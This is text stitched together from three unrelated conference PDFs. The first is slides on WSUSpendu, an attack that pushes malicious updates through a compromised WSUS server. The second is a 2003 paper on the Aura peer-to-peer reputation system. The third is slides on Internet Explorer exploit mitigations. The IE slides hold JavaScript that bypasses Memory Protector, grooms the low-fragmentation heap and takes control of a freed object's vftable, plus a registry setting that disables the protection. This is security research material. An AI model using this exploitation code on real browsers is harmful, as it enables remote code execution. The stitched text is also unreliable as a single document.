Enterprise network HTTPS HTTP Microsoft Update www WSUS clients WSUS WSUSPENDU / 52 Yves Le Provost & Romain Coltel Windows Server Update Services (WSUS) 14 Enterprise network HTTPS HTTP Microsoft Update www WSUS clients WSUS upstream WSUS downstream WSUS clients WSUSPENDU / 52 Yves Le Provost & Romain Coltel Windows Server Update Services (WSUS) 15 Enterprise network HTTPS HTTP Microsoft Update www External device WSUS clients WSUS upstream WSUS downstream WSUS clients Disconnected WSUS WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 16 Windows service Database Web service WSUS server WSUS clients Microsoft Update WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 17 Windows service Database Web service WSUS server WSUS clients Microsoft Update 1. Windows service downloads update metadata (binaries size, download URL, command-line arguments, …) WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 18 Windows service Database Web service WSUS server WSUS clients Microsoft Update 2. Windows service transmits the metadata to the database WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 19 Windows service Database Web service WSUS server WSUS clients Microsoft Update 3. The database uses functions to parse metadata inputs, incorporates them into its tables WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 20 Windows service Database Web service WSUS server WSUS clients Microsoft Update 4. Updates are approved, either by an admin or by automatic approval rules WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 21 Windows service Database Web service WSUS server WSUS clients Microsoft Update 5. Approved updates binaries (psf, cab, exe, …) are downloaded WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 22 Windows service Database Web service WSUS server WSUS clients Microsoft Update 6. Each binary signature is checked WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 23 Windows service Database Web service WSUS server WSUS clients Microsoft Update 7. Each binary is stored for the Web service to be able to get them WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 24 Windows service Database Web service WSUS server WSUS clients Microsoft Update 8. Clients are looking for new updates ; Web service gets approved updates metadata from the database WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 25 Windows service Database Web service WSUS server WSUS clients Microsoft Update 9. Web service transmits the metadata to the WSUS clients WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 26 Windows service Database Web service WSUS server WSUS clients Microsoft Update 10. Each client evaluates if the updates is installable WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 27 Windows service Database Web service WSUS server WSUS clients Microsoft Update 11. If an update is installable on a client, the associated binary is downloaded WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 28 Windows service Database Web service WSUS server WSUS clients Microsoft Update 12. Each downloaded binary’s signature is checked WSUSPENDU / 52 Yves Le Provost & Romain Coltel Updates journey within a WSUS server 29 Windows service Database Web service WSUS server WSUS clients Microsoft Update 13. Each binary is executed, with SYSTEM privileges, with possible command line parameters from the metadata WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 30 WSUS attacks: Black Hat USA 2015, WSUSpect Microsoft Update Enterprise network WSUS clients WSUS server WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 31 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 1. Get a mitm position WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 32 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 2. Intercepts new update queries WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 33 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 3. Infects the on-network metadata with a new, malicious update WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 34 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 4. The client sees a new available and installable update WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 35 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 5. Fetches the related binary WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 36 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 6. Checks if binary signature is okay: it is. WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 37 Microsoft Update Enterprise network WSUS clients WSUS server WSUSpect 7. Installs the binary, with SYSTEM privileges, with metadata command-line arguments WSUSPENDU / 52 Yves Le Provost & Romain Coltel State-of-the-art 38 WSUS attacks: Black Hat USA 2015, WSUSpect Awesome attack! But some limitations: - Gain a mitm position - Meaning no network limitation is in place - Get a useful one - Meaning TLS has to be disabled Doesn’t give us access to the disconnected network WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu @ 39 Microsoft Update WSUS www Enterprise network Open-source: https://github.com/AlsidOfficial/WSUSpendu @Thx Maman WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu 40 Microsoft Update WSUS www Enterprise network 1. Injects update metadata in the database, signed binary in the Web service WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu 41 Microsoft Update WSUS www Enterprise network 2. The client sees a new available and installable update WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu 42 Microsoft Update WSUS www Enterprise network 3. Fetches the related binary WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu 43 Microsoft Update WSUS www Enterprise network 4. Checks if binary signature is okay: it is. WSUSPENDU / 52 Yves Le Provost & Romain Coltel Introducing WSUSpendu Microsoft Update WSUS www Enterprise network 5. Installs the binary, with SYSTEM privileges, with metadata command-line arguments 44 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Demonstration… 45 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise a connected network Internet-connected network Disconnected network Physical boundary 46 WSUSPENDU / 52 Yves Le Provost & Romain Coltel 47 We need to go deeper… WSUSPENDU / 52 Yves Le Provost & Romain Coltel Demonstration… 48 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise a disconnected network Internet-connected network Disconnected network Physical boundary 49 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise a disconnected network Internet-connected network Disconnected network Physical boundary 50 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Conclusion 51 Stop updating Control relationship WSUS server → clients WSUSPENDU / 52 Yves Le Provost & Romain Coltel Thank you all. ROMAIN COLTEL ANSSI YVES LE PROVOST
pdf
Aura A peer-to-peer reputation system Cat Okita Copyright 2003 2 INDEX INDEX ................................................................................................................................................................... 2 ABSTRACT .......................................................................................................................................................... 3 INTRODUCTION................................................................................................................................................ 3 BACKGROUND .................................................................................................................................................. 3 REQUIREMENTS............................................................................................................................................... 4 METHODOLOGY............................................................................................................................................... 5 REPUTATION ...................................................................................................................................................... 5 TEMPLATES AND GOSSIP................................................................................................................................... 5 DESIGN ISSUES.................................................................................................................................................. 6 DESIGN................................................................................................................................................................. 7 IMPLEMENTATION ......................................................................................................................................... 9 CONFIGURATION.............................................................................................................................................. 10 CRITIQUE.......................................................................................................................................................... 10 RELATED WORK ............................................................................................................................................ 11 CONCLUSIONS ................................................................................................................................................ 11 AVAILABILITY................................................................................................................................................ 11 ACKNOWLEDGEMENTS .............................................................................................................................. 11 REFERENCES................................................................................................................................................... 11 3 Abstract Current reputation systems are limited in scope, typically in use only on a single site, with no cross-linkage. Aura is a peer-to-peer system designed to provide standalone and integrated trust metrics to individuals and applications. Potential applications include spam tracking, establishment of a decentralized web-of-trust, credibility ratings for websites and mailing lists, and system monitoring. Introduction Reputation systems are a means of describing social trust networks. The basic concept behind any given reputation system is a democratic meritocracy. A rating system is used to evaluate individual members, and those results are then collated to produce a consensus about the merit of any given member. The greater the number of data points about any given member, the greater the accuracy of the valuation is presumed to be1. Mathematically, there are many different methodologies for computing the merit of the individual. At the most basic level, one could use the arithmetic mean, median and mode as methods of describing the trust level and variance in trust ascribed to a given entity. Adding variables like the reputation rating of the entities contributing to the rating or the time that the rated entity has been known, can increase the perceived accuracy of the derived rating. In terms of practical applications, a distributed reputation system can be used to share a wide variety of information. For example, rather than relying updates to a centralized blacklist to provide information about spam sources, trusted entities could rapidly exchange new updates as they become known locally. Socially, information about shared interests, such as good musicians (although not the music itself – that’s a different type of software) could be swiftly acquired via entities that have a reputation for similar tastes. Background Reputation systems are a means of assigning a measure of trust (trust metric) to an identifier. Well known examples of this include Livejournal, Friendster, eBay, Advogato and Slashcode based sites. 1 This theory fails when ratings of a given entity are diametrically opposed, leading to a false neutral. 4 Livejournal and Friendster are both more accurately described as social networks, rather than reputation systems. However, both sites do provide primitive ranking systems through the ability to describe a person as a friend. eBay’s system of user feedback is one of the best known reputation systems in current use. Buyers and sellers are able to leave commentary about transactions, and both the number of successful transactions, and the amount of feedback (good or bad) strongly affect buyer and seller perceptions. Many sellers will not accept certain types of payment from buyers with low transaction counts – some will not accept bids at all! Slashcode moderation is a classic example of a reputation system. Postings on a Slashcode driven system are assigned an initial default value [by default 0 for anonymous users, and 1 logged in users]. Users are then assigned ‘karma’ points, which also start at a default value of zero. Users gain or lose Karma when their posts are moderated. Any user with a non-negative karma can become a moderator. Moderators are assigned points which they can use change the value of any post. Status as a moderator is time limited, to encourage participation. Advogato is designed to function as an experimental reputation system, and has a three tiered ranking system. A detailed description is available on their web site, but entities are essentially evaluated by all entities at or above their level, based on the presentation of peer certificates. All of these sites have several commonalities: 1. Identification – users must be reliably and securely identifiable 2. Peer interaction – users are evaluated by their peers 3. Feedback – user status changes based on peer interaction Requirements The success of any reputation system depends on widespread usage. This implies a number of functional requirements. o Immediate benefit (or toy value) o Easy to use, install and configure o Lightweight o Multiplatform o Secure Beyond basic functional requirements, a reputation system requires 1. Entity identification, verification and non-repudiation 5 2. Entity valuation 3. Entity feedback mechanisms Finally, a reputation system requires significant amounts of data on which to base valuation and feedback. Methodology In order to create a broad, accessible user base with few restrictions, it is necessary to eliminate the use of a centralized server. Rather than rely on a single source, such as the classic web model, it is important to create a distributed web of trust. Classic social networks consist of linked partially-meshed groups. The technological equivalent is peer-to-peer networking, with locally tunable algorithms. Interconnections are based on individual criteria, and information is stored locally. The software needs to be able to perform two separate tasks – establish trust or credibility, and exchange valuation information. These can be described more succinctly as Reputation and Gossip. Reputation Reputation needs to establish the following items about any given entity: o Identity o Trust relationship(s) o Valuation/Credibility Each entity taking part in a reputation exchange must be uniquely identifiable via public/private key cryptography, associated with an easy to remember identifier such as an email address, FQDN or other similar identifier. Reputation consists of two ratings, one specific to the user, and the other an aggregate credibility rating composed of information calculated from one (or more) Gossip templates. Templates and Gossip Templates are used to structure and constrain the exchange of information between entities. An exchange of template data which concerns an entity other than the communicating parties is described as Gossip. Gossip about an entity 6 must always be identified with the degree of separation from the gossiping entity. As is true in human communications, gossip can be both positive and negative, and should always be considered carefully, and evaluated according to the source and content. Templates are used to describe the format and expected information returned as data. Typical template contents are an item (or series of items), and characteristics of that item. Templates are structured to require numeric responses to set queries, for performance and storage reasons. The returned template data can then be used to compute a template specific reputation, and contribute towards the overall reputation of an entity. A trivial example of a template fragment is shown below. Figure 1 - Template Fragment Using the template above as an example, the data transmitted would be the name of the template (Good_Mail_Server), the signature of the template, and presuming a stable Sendmail server, the values 0 and 1. From this example, we could calculate that Sendmail has a reputation of being a stable mail server. The actual reputation calculation process involves more variables, and variable weighting. Design Issues The specific design issues under consideration in the process of implementing Aura are as follows: o Secure o Data exchange must be encrypted. TemplateName=Stable_Mail_Server Server_Name? Sendmail:0 Qmail:1 Postfix:2 Stable? Yes:1 No:0 7 o Data specific to a given entity must be keyed only to that entity. o Entity identifiers must be unique [public/private key], and may not be readily repudiated. o Templates must be signed o Information poisoning must be non-trivial o Key storage should be encrypted and permission limited o Fast o Efficient o No significant system or network load should be produced under standard usage (up to 100k entity records estimated per individual) o Multiple users on any single server may share the same server and data store, although user specific data will always be keyed to that user. o Simple o Straightforward to install and configure o Human readable data where possible o Templates should be text-based2 o Portable o Should have limited dependencies on OS or hardware specific items o Entity keys should be transferable between platforms or via devices such as USB key drives o Flexible o User extensions should be trivial o Database integration should be trivial o UI o Command line for scripting and power users o GUI for standard use [planned] Design Aura is implemented as a separate client and server process, with the server handling all incoming queries for information, and the client handling end user interaction. This is an artificial distinction to allow database queries and comparisons to be separated from interface design considerations. As a part of the initial discovery process, aura will attempt to contact either the default seed server(s), or a user specified set of addresses to establish a list of aura speakers. Subsequent invocations will default to attempting to contact speakers in aura’s immediate web of trust. 2 ASCII or Unicode as appropriate 8 In situations where the contact mechanism for an entity is unknown, Aura implements path-based message passing. This implies that any entity may request any other entity to act as a message passing mechanism, recording the route to contact, and passing a message to a difficult to reach or unknown entity. The establishment of direct contact between entities is the preferred mechanism, as it absolves messenger hosts of the burden of additional traffic. It is expected, but not required that the Aura daemon (aurad) will run in the background, and maintain a limited set of ‘live’ connections to entities in its trust list. The initial connection between two previously unknown entities consists of an exchange of public keys and the associated identifier3. Unless the user intervenes, newly discovered entities are assigned a default reputation value. From this point onwards, all information sent between entities will be encrypted with the private key of each entity, to establish non-repudiation. Next, the signatures of the templates used by each entity are exchanged. Subsequently, the two entities exchange template-based information about themselves, and gossip about other entities. Connections between known entities consist of updates to template-based information, further exchange of gossip, and message passing. The type and amount of information exchanged can be limited according to reputation, template type, and entity. Gossip must always contain the degree of indirection (number of hops) from the originator. Reputation changes are made based on a combination of user input, gossip from trusted entities, trust equations and time. While volume will ultimately damp sudden changes in reputation based on gossip, initial swings are to be expected, while the system settles into equilibrium. Information poisoning is one of the greatest challenges in implementing a successful reputation system. Aura is potentially vulnerable to several information poisoning attacks. Template poisoning (where a trusted source for templates is successfully compromised, and templates replaced), identity theft or forging, and flooding are all possible vectors. Like any software, Aura is also vulnerable to code alteration or replacement. 3 An entity is not considered to be ‘known’ for this purpose until a key exchange has taken place. Entities which have been gossiped about indirectly will have an identifier, but not a public key associated with them. 9 The effect of most attacks is strongly affected by the total number of entities involved in the aura network. As with reputation values, a smaller system will show changes at a greater rate. Template poisoning is mitigated by requiring that all templates be signed, and that signatures match prior to any exchange of information. Identity theft and forging are addressed through the use of public/private key cryptography, requiring that any attacker either perform a successful decryption, or obtain key phrases through other mechanisms. It is possible to forge an identify from the initial contact onwards, and thus it is recommended that trust be considered carefully, and validated where possible. The GPG Privacy Guide provides an excellent example of entity verification procedures4. Flooding is the most challenging attack to defeat, but while sheer volume of queries could cause Denial of Service attacks (limited by the number of connections available), a lack of trust, as described in Advogato’s trust metric1 would inhibit information poisoning as a result. Implementation Aura is implemented in C, with heavy dependency on Peter Gutman’s Cryptlib. Although it should ultimately backend into a database, the current (alpha) implementation does not do so. The basic structure is a simple daemon which listens for incoming queries, identifies and processes them appropriately. If a server is designated as a seed server, it will receive queries from aura clients, seeking other aura speakers. The seed server expects to receive an ID string from the client, containing the IP and version of the aura client. The seed server then returns a list of IPs. The seed server may also return a notification message, such as failure notice, or the availability of a new version. A message passed to a server to contact a local entity will be handled as a standard query. If the message passed is for an unknown entity, the server will randomly select one of its established connections, check to ensure that a routing loop is not being created, and forward the message to the selected aura speaker. 4 http://www.gnupg.org/gph/en/manual.html#AEN554 10 An initial client request from a previously unknown client contains the entity identifier of the entity they are attempting to contact (typically either an email address or FQDN), their identifier, and the associated public key. The server will return its entity identifier5 and public key encrypted with the public key of the client. Subsequent exchanges establish common templates, exchange data, and exchange gossip. A client can function locally, querying the server for known information, or remotely, requesting new information and updates. Locally, a basic query about an entity identifier will return the private and public reputation of the queried entity. The data key is of the format <entity identifier><key hash>, returning <entity identifier><private reputation><public reputation>. Additional information requests or changes can be specified via flags. Each entity entry contains a hop- limited list of the entities that have gossiped about it. While it is possible to maintain a list of all entities, no matter how distant that have gossiped about a given entity, it is definitely impractical! Configuration The configuration files are text based and user modifiable. It is possible to configure levels of trust, and what information will be shared with whom, based on reputation (public/private), specific entity identifier and template. Critique It is not possible to determine the actual success of this software without a significantly sized and active population. 5 In the event that the server handles information for multiple entities, the appropriate entity is selected. 11 Related work There are a large number of theoretical papers available at the Reputations Research Network, at the University of Michigan. More practically, Advogato , Ralph Levien’s web module focusing on group trust models for peer certification, eBay and SpamAssassin are practical examples of limited focus reputation systems. Conclusions Further testing in the wild, or in a large scale test environment is indicated. Availability Aura is released under the Berkeley Database License (better known as the Sleepycat license), and is fully GPL compatible. It can be downloaded from: http://www.geekness.net/tools/aura The most current version of this document may also be found at the above location. Acknowledgements The seeds of this software are derived from several sources – a strong interest in AI and swarm intelligence – Caezar’s Challenge at Defcon X, discussing biological models in computation – Neal Stephenson’s fictional meme propagation – and a number of years collecting statistics for backbone networks. Thanks for patience, inspiration and/or editing go to Mark Langston, Mikael Olsson, Matthew Ringel, Kim Wallace, Dan Foster, Agent X and Myles. References 1. Advogato’s Trust Metric - http://www.advogato.org/trust-metric.html 2. http://www.fsf.org/licenses/license-list.html 3. Livejournal – http://www.livejournal.com 4. Friendster – http://www.friendster.com 5. Slashcode – http://slashcode.com and http://sourceforge.net/projects/slashcode/ 6. Slashcode moderation - http://sagewire.sage.org/moderation.shtml 7. eBay – http://www.ebay.com 12 8. SpamAssassin – http://www.spamassassin.org 9. GnuPG – http://www.gnupg.org
pdf
New  Exploit  Mi-ga-on In  Internet  Explorer HITCON  X @K33nTeam  @KeenTeam @promised_lu About  Me Amateur  browser  exploiter Main  work  is  wri-ng  fuzzers 2 3 Background Internet  Explorer  Vulnerability  Sta-s-cs 4 2013 •  CVE-­‐2013-­‐0025  CParaElement  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐1311  CDOMTextNode  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐1347  CGenericElement  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐2551  COALineDashStyleArray  Integer  Overflow  Pwn2Own •  CVE-­‐2013-­‐3184  CFlatMarkupPointer  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐3205  CCaret  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐3893  CTreeNode  Use-­‐ARer-­‐Free •  CVE-­‐2013-­‐3897  CDisplayPointer  Use-­‐ARer-­‐Free 5 2013 •  129  CVE •  Most  are  Use-­‐ARer-­‐Free 6 2014 •  CVE-­‐2014-­‐0322  CMarkup  Use-­‐ARer-­‐Free •  CVE-­‐2014-­‐1776  CMarkup  Use-­‐ARer-­‐Free 7 2014 •  135  CVE  from  January  to  July •  More  than  2013 8 Exploit  Mi-ga-on •  Virtual  Table  Guard  is  introduced  in  Internet  Explorer  10 •  An--­‐Use-­‐ARer-­‐Free 9 Virtual  Table  Guard 10 New  Exploit  Mi-ga-on •  Isolated  Heap  is  introduced  in  MS14-­‐035 •  Memory  Protector  is  introduced  in  MS14-­‐037 •  Internet  Explorer  6~11 •  An--­‐Use-­‐ARer-­‐Free 11 Agenda •  Isolated  Heap •  Memory  Protector •  Fuzzing  Issues •  Countermeasures 12 13 Isolated  Heap g_hIsolatedHeap g_hIsolatedHeap  =  HeapCreate(0,  0,  0); if  (g_hIsolatedHeap)  {  ULONG  HeapInformation  =  2;  //  Enable  LFH  HeapSetInformation(g_hIsolatedHeap,  0, &HeapInformation,  sizeof(HeapInformation)); } 14 _MemIsolatedAlloc LPVOID  __stdcall  _MemIsolatedAlloc(SIZE_T  dwBytes) {  if  (!dwBytes)  dwBytes  =  1;  return  HeapAlloc(g_hIsolatedHeap,  0,  dwBytes); } 15 _MemIsolatedAllocClear LPVOID  __stdcall  _MemIsolatedAllocClear(SIZE_T  dwBytes) {  return  HeapAlloc(g_hIsolatedHeap,  8,  dwBytes); } 16 _MemIsolatedFree void  __stdcall  _MemIsolatedFree(LPVOID  lpMem) {  if  (lpMem)  MemoryProtection::HeapFree(g_hIsolatedHeap,  0, lpMem); } 17 Internet  Explorer  6 18 Internet  Explorer  6 19 Isolated  Objects •  All  DOM  Objects •  Some  Render  Objects 20 How  To  Fill  Isolated  Objects  In  Use-­‐ARer-­‐Free •  BSTR •  String •  Struct •  Isolated  Object 21 22 Memory  Protector ULONG_PTR  m_Block;  //  address  of  heap  block SIZE_T  m_Size;  //  size  of  heap  block SBlockDescriptor 23 SBlockDescriptorArray SBlockDescriptor  *m_BlockDescriptors;  //  array  of  heap  blocks SIZE_T  m_Size;  //  total  size  of  all  heap  blocks ULONG  m_Count;  //  count  of  heap  blocks 24 MemoryProtec-on::HeapFree •  Replace  HeapFree  in  MSHTML 25 MemoryProtec-on::HeapFree BOOL  __stdcall  MemoryProtection::HeapFree(HANDLE hHeap,  DWORD  dwFlags,  LPVOID  lpMem) {  CMemoryProtector::ProtectedFree(hHeap,  dwFlags, lpMem);  return  TRUE; } 26 CMemoryProtector::ProtectedFree •  Reclaim  memory •  Add  heap  block  to  SBlockDescriptorArray  instead  of  free 27 CMemoryProtector::ProtectedFree static  void  __stdcall  CMemoryProtector::ProtectedFree(HANDLE  hHeap, DWORD  dwFlags,  LPVOID  lpMem) { …  MemoryProtector-­‐>ReclaimMemory((ULONG_PTR  *)&lpMem,  100000); …  if  (MemoryProtector-­‐>AddBlockDescriptor((ULONG_PTR)lpMem,  hHeap ==  g_hIsolatedHeap,  &Size))  memset(lpMem,  0,  Size); … } 28 CMemoryProtector::ReclaimMemory •  Do  nothing  if  total  size  of  SBlockDescriptorArray  is  less  than  100000 •  Mark  blocks •  Reclaim  unmarked  blocks 29 CMemoryProtector::ReclaimMemory void  CMemoryProtector::ReclaimMemory(ULONG_PTR  *Blocks,  UINT  Size) {  if  (GetCount()  &&  (GetSize()  >=  Size  ||  m_ForceReclaim))  {  MarkBlocks(Blocks);  ReclaimUnmarkedBlocks();  } } 30 CMemoryProtector::ReclaimMemory Stack Array lpMem RetAddr … Pointer … Block  1 … … Block  N … 31 CMemoryProtector::MarkBlocks •  Traverse  thread  stack  as  array  of  pointers •  If  a  pointer  points  to  a  block  in  SBlockDescriptorArray,  mark  the  block 32 CMemoryProtector::MarkBlocks void  CMemoryProtector::MarkBlocks(ULONG_PTR  *Blocks) {  ULONG_PTR  Low  =  LowAddress();  ULONG_PTR  High  =  HighAddress();  for  (ULONG  i  =  (m_StackHighAddress  -­‐  (ULONG_PTR)Blocks)  / sizeof(ULONG_PTR);  i  !=  0;  i-­‐-­‐)  MarkBlockForAddress(*Blocks++,  Low,  High); } 33 CMemoryProtector::MarkBlocks Stack Array lpMem RetAddr … Pointer … Block  1 … … Block  N … 34 CMemoryProtector::ReclaimUnmarkedBlocks •  Free  unmarked  blocks •  Unmark  marked  blocks 35 CMemoryProtector::ReclaimUnmarkedBlocks void  CMemoryProtector::ReclaimUnmarkedBlocks() {  for  (ULONG  i  =  0;  i  <  GetCount();  i++)  {  SBlockDescriptor  *BlockDescriptor  = GetBlockDescriptorAt(i); …  if  (BlockDescriptor-­‐>IsMarked())  BlockDescriptor-­‐>Unmark();  else  ::HeapFree(hHeap,  0,  (LPVOID)BlockDescriptor-­‐ >BaseAddress()); …  } } 36 CMemoryProtector::ReclaimUnmarkedBlocks Stack Array lpMem RetAddr … Pointer … Freed Freed Freed Block  N Freed 37 Visual  Studio  Port •  heps://github.com/promised-­‐lu/MemoryProtec-on 38 Delay  Free  Or  Never  Use-­‐ARer-­‐Free •  Unable  to  fill  Use-­‐ARer-­‐Free  Object 39 40 Fuzzing  Issues Isolated  Heap •  Isolated  Heap  reduces  probability  of  Use-­‐ARer-­‐Free  if  PageHeap  is turned  off •  Patch  g_hIsolatedHeap  to  Process  Heap 41 Memory  Protector •  Memory  Protector  sharply  reduces  probability  of  Use-­‐ARer-­‐Free •  Patch  memset  in  CMemoryProtector::ProtectedFree  (inline  problem) •  Turn  off  Memory  Protector  through  registry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet  Explorer\MAIN \FeatureControl\FEATURE_MEMPROTECT_MODE]  "iexplore.exe"=dword:00000000 42 43 Countermeasures Free  Problem •  Fill  SBlockDescriptorArray  to  trigger  ReclaimUnmarkedBlocks •  Windows  7  x86 •  Internet  Explorer  11 44 CollectGarbage2 function  CollectGarbage2() {  var  video  =  new  Array();  for  (var  i  =  0;  i  <  250;  i++)  {  video[i]  =  document.createElement("video");  //  400  bytes  }  video  =  null;  CollectGarbage();  //  ReclaimUnmarkedBlocks } 45 Delay  Free  Situa-on  ☺ //  Free  Use-­‐After-­‐Free  Object //  Use-­‐After-­‐Free  Object  not  referred  in  stack CollectGarbage2();  //  Free  Use-­‐After  Object  indeed //  Fill  Use-­‐After-­‐Free  Object //  Use  Use-­‐After-­‐Free  Object 46 Never  Use-­‐ARer-­‐Free  Situa-on //  Trigger  Event //  Use  Use-­‐After-­‐Free  Object //  Cannot  refer  to  Use-­‐After-­‐Free  Object //  Event //  Free  Use-­‐After-­‐Free  Object //  Use-­‐After-­‐Free  Object  referred  in  stack 47 Case  By  Case •  Many  paths  can  trigger  same  Use-­‐ARer-­‐Free •  It’s  hard  to  say 48 Fill  Problem •  Manipulate  LFH •  Windows  7  x86 •  Internet  Explorer  11 49 Step  1 <!DOCTYPE  html> <html> <head> <script> function  load()  {  //  Step  1  … } </script> </head> <body  onload="load()"></body> </html> 50 Step  1 0:007>  !heap  -­‐p  -­‐h  poi(MSHTML!g_hIsolatedHeap)  _HEAP  @  3ac0000  _LFH_HEAP  @  3ac44f0  _HEAP_SEGMENT  @  3ac0000  CommittedRange  @  3ac0588  HEAP_ENTRY  Size  Prev  Flags  UserPtr  UserSize  -­‐  state …  03ad5130  003b  0086  [00]  03ad5138  001d0  -­‐  (busy)  MSHTML!CWindow::`vftable‘ … VirtualAllocdBlocks  @  3ac00a0 51 Step  2 var  Bucket1  =  new  Array();  //  Enable  LFH for  (var  i  =  0;  i  <  0x11;  i++)  {  Bucket1[i]  =  document.createElement("option"); } var  UserBlocks1  =  new  Array(); for  (var  i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x50  + 0x8));  i++)  {  UserBlocks1[i]  =  document.createElement("option"); } var  UserBlocks2  =  new  Array(); for  (var  i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x50  + 0x8));  i++)  {  UserBlocks2[i]  =  document.createElement("option"); } 52 Step  2 0:007>  !heap  -­‐p  -­‐h  poi(MSHTML!g_hIsolatedHeap) …  *  03ad6650  0200  000b  [00]  03ad6658  00ff8  -­‐  (busy)  // UserBlocks1  03ad6668  000b  0200  [00]  03ad6670  0004c  -­‐  (busy)  MSHTML!COptionElement::`vftable' …  *  03ad7a50  0200  0080  [00]  03ad7a58  00ff8  -­‐  (busy)  // UserBlocks2  03ad7a68  000b  0200  [00]  03ad7a70  0004c  -­‐  (busy)  MSHTML!COptionElement::`vftable' …  VirtualAllocdBlocks  @  3ac00a0 53 Step  3 UserBlocks1  =  null; CollectGarbage(); CollectGarbage2(); 54 Step  3 0:007>  !heap  -­‐p  -­‐h  poi(MSHTML!g_hIsolatedHeap) …  *  03ad6650  0200  000b  [00]  03ad6658  00ff8  -­‐  (busy)  // UserBlocks1 …  *  03ad7a50  0200  0080  [00]  03ad7a58  00ff8  -­‐  (busy)  // UserBlocks2  03ad7a68  000b  0200  [00]  03ad7a70  0004c  -­‐  (busy)  MSHTML!COptionElement::`vftable' …  VirtualAllocdBlocks  @  3ac00a0 55 Step  4 var  Bucket2  =  new  Array();  //  Enable  LFH for  (var  i  =  0;  i  <  0x11;  i++)  {  Bucket2[i]  =  document.createElement("area"); } var  UserBlocks1  =  new  Array(); for  (var  i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x68  + 0x8));  i++)  {  UserBlocks1[i]  =  document.createElement("area"); } 56 Step  4 0:007>  !heap  -­‐p  -­‐h  poi(MSHTML!g_hIsolatedHeap) …  *  03ad6650  0200  000b  [00]  03ad6658  00ff8  -­‐  (busy)  // UserBlocks1  03ad6668  000e  0200  [00]  03ad6670  00064  -­‐  (busy)  MSHTML!CAreaElement::`vftable' …  *  03ad7a50  0200  0080  [00]  03ad7a58  00ff8  -­‐  (busy)  // UserBlocks2  03ad7a68  000b  0200  [00]  03ad7a70  0004c  -­‐  (busy)  MSHTML!COptionElement::`vftable' …  VirtualAllocdBlocks  @  3ac00a0 57 CAreaElement •  0x64  bytes •  +0x4c  RECT •  +0x4c  leR •  +0x50  top •  +0x54  right •  +0x58  boeom 58 CAreaElement •  shape  =  "rect" •  coords  =  "1,2,3,4" 59 CAreaElement •  +0x4c  1 •  +0x50  2 •  +0x54  3 •  +0x58  4 60 Control  vRable  of  COp-onElement var  i;  //  index  of  Use-­‐After-­‐Free  COptionElement var  j;  //  index  of  corresponding  CAreaElement for  (i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x50  +  0x8));  i ++)  {  var  r  =  ((0x50  +  0x8)  *  i  +  0x0)  %  (0x68  +  0x8);  j  =  Math.floor(((0x50  +  0x8)  *  i  +  0x0)  /  (0x68  +  0x8));  if  (r  >=  0x4c  &&  r  <=  0x58)  break; } //  i  =  1 //  j  =  0 61 New  Step  2 … var  UserBlocks1  =  new  Array(); for  (var  i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x50  + 0x8));  i++)  {  if  (i  ==  1)  {  //  Create  Use-­‐After-­‐Free  COptionElement  }  UserBlocks1[i]  =  document.createElement("option"); } … 62 New  Step  3 //  Free  Use-­‐After-­‐Free  COptionElement for  (var  i  =  0;  i  <  Math.floor((0x1000  -­‐  0x8  -­‐  0x10)  /  (0x50  + 0x8));  i++)  {  if  (i  !=  1)  UserBlocks1[i]  =  null; } CollectGarbage(); CollectGarbage2(); 63 New  Step  5 UserBlocks1[0].shape  =  "rect" UserBlocks1[0].coords  =  "1,2,3,83886116" //  0x05000024  =>  vftable  of  Use-­‐After-­‐Free  COptionElement 64 65 Thanks 